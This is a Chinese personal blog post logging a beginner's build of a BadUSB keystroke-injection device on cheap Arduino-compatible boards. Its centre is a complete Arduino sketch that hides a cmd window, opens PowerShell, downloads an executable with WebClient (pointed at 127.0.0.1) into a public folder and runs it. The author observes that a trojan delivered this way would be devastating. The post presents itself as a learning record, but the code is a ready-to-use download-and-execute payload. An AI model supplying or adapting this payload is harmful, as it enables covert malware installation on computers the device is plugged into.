Cunzher's Blog

BRING THE LIGHT OF HOPE TO THE WORLD

小白学BadUSB过程记录

很早之前就看了腾讯安全应急响应中心的一篇文章

新的U盘自动运行——BadUSB原理与实现https://security.tencent.com/index.php/blog/msg/74

这段时间再次燃起了兴趣,想要试着实现这样一个BadUSB,视频中测试人员用的是著名的大黄鸭,博主人穷,用的是很便宜的廉价开发板。学习用途,壳子也不要了。

刚开始买了一块digispark,实际测试发现只能现烧现用,拔掉后就清空了,网上查了下貌似是没有ROM存储的

图为digispark(ATtiny 85)开发板

为了进一步研究,又买了一块cjmcu的板子,这次买之前好好问了下卖家,得到保证后才敢下单了。需要注意的是,很多店铺的客服是不懂技术的,推荐大家去cjmcu官方店购买。

图为CJMCU-Beetle开发板

来一张全家福(其实不止这两块了2333)

用Arduion IDE烧录,我测试的代码在下边

#include void setup() {
  Keyboard.begin();
  delay(2000);
  //返回桌面
  Keyboard.press(KEY_LEFT_GUI);
  delay(50);
  Keyboard.press('d');
  delay(50);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('d');
  delay(50);
  //启动运行
  Keyboard.press(KEY_LEFT_GUI);
  delay(50);
  Keyboard.press('r');
  delay(50);
  Keyboard.release(KEY_LEFT_GUI);
  Keyboard.release('r');
  delay(50);
  //打开cmd
  Keyboard.println("cmd.exe /T:01 /K mode CON: COLS=16 LINES=1"); //打开cmd并将串口最小化
  delay(500);//长延时,给系统反应时间,太短会报错
  Keyboard.println("start powershell"); //打开powershell
  delay(500);
  Keyboard.println("$client = new-object System.Net.WebClient"); 
  delay(50);
//下载ssl.exe保存到指定位置
  Keyboard.println("$client.Downloadfile('http://127.0.0.1/ssl.exe', 'C:\\Users\\Public\\test.exe')");
  delay(2000);
  Keyboard.println("start-process C:\\Users\\Public\\test.exe");//运行刚刚下载的程序


}
void loop() {

}

这里的代码烧录进开发板后,一个BadUSB就做好了

插进电脑的USB接口

上面的代码把cmd窗口做到了尽量的小

利用powershell下载并执行远程文件,到这里测试就算完成了。试想一下,如果这个程序是病毒或者木马,会对目标计算机造成致命的攻击。目前尚未发现任何一款安全软件能够拦截此类攻击,据说360已经在做此方面的努力。


参考资料:

https://security.tencent.com/index.php/blog/msg/74

https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payloads

http://wk20.cn/?tag=badusb

  • 评论列表
  • sliver 于 2019-05-17 18:38:45  
  • 不错的文章,学习了
  • 萧瑟 于 2019-03-19 10:24:06  
  • 虽然看不懂这玩意是干嘛,但是要膜拜大佬。biggrinbiggrin

发表评论

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

© Copyright©光芒万丈 所有权利保留
工信部ICP备案号:
豫ICP备17038986号
公安机关备案号:
豫公网安备 41102502000036号
汐萌站长联盟成员网站
拒绝恶意访客计划执行单位
Powered by Z-BlogPHP & Yiwuku.com